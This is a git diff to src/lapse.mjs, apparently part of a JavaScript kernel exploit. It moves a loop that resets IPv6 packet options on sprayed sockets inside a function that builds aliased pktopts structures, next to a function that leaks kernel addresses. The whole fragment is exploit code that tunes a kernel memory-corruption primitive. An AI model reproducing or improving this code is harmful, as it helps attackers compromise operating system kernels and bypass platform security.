diff --git a/src/lapse.mjs b/src/lapse.mjs
index 90c5d62..8319e41 100644
--- a/src/lapse.mjs
+++ b/src/lapse.mjs
@@ -948,6 +948,10 @@ function leak_kernel_addrs(sd_pair) {
 function make_aliased_pktopts(sds) {
   const tclass = new Word();
   for (let loop = 0; loop < num_alias; loop++) {
+    for (let i = 0; i < num_sds; i++) {
+      setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
+    }
+
     for (let i = 0; i < num_sds; i++) {
       tclass[0] = i;
       ssockopt(sds[i], IPPROTO_IPV6, IPV6_TCLASS, tclass);
@@ -973,10 +977,6 @@ function make_aliased_pktopts(sds) {
         return pair;
       }
     }
-
-    for (let i = 0; i < num_sds; i++) {
-      setsockopt(sds[i], IPPROTO_IPV6, IPV6_2292PKTOPTIONS, 0, 0);
-    }
   }
   die("failed to make aliased pktopts");
 }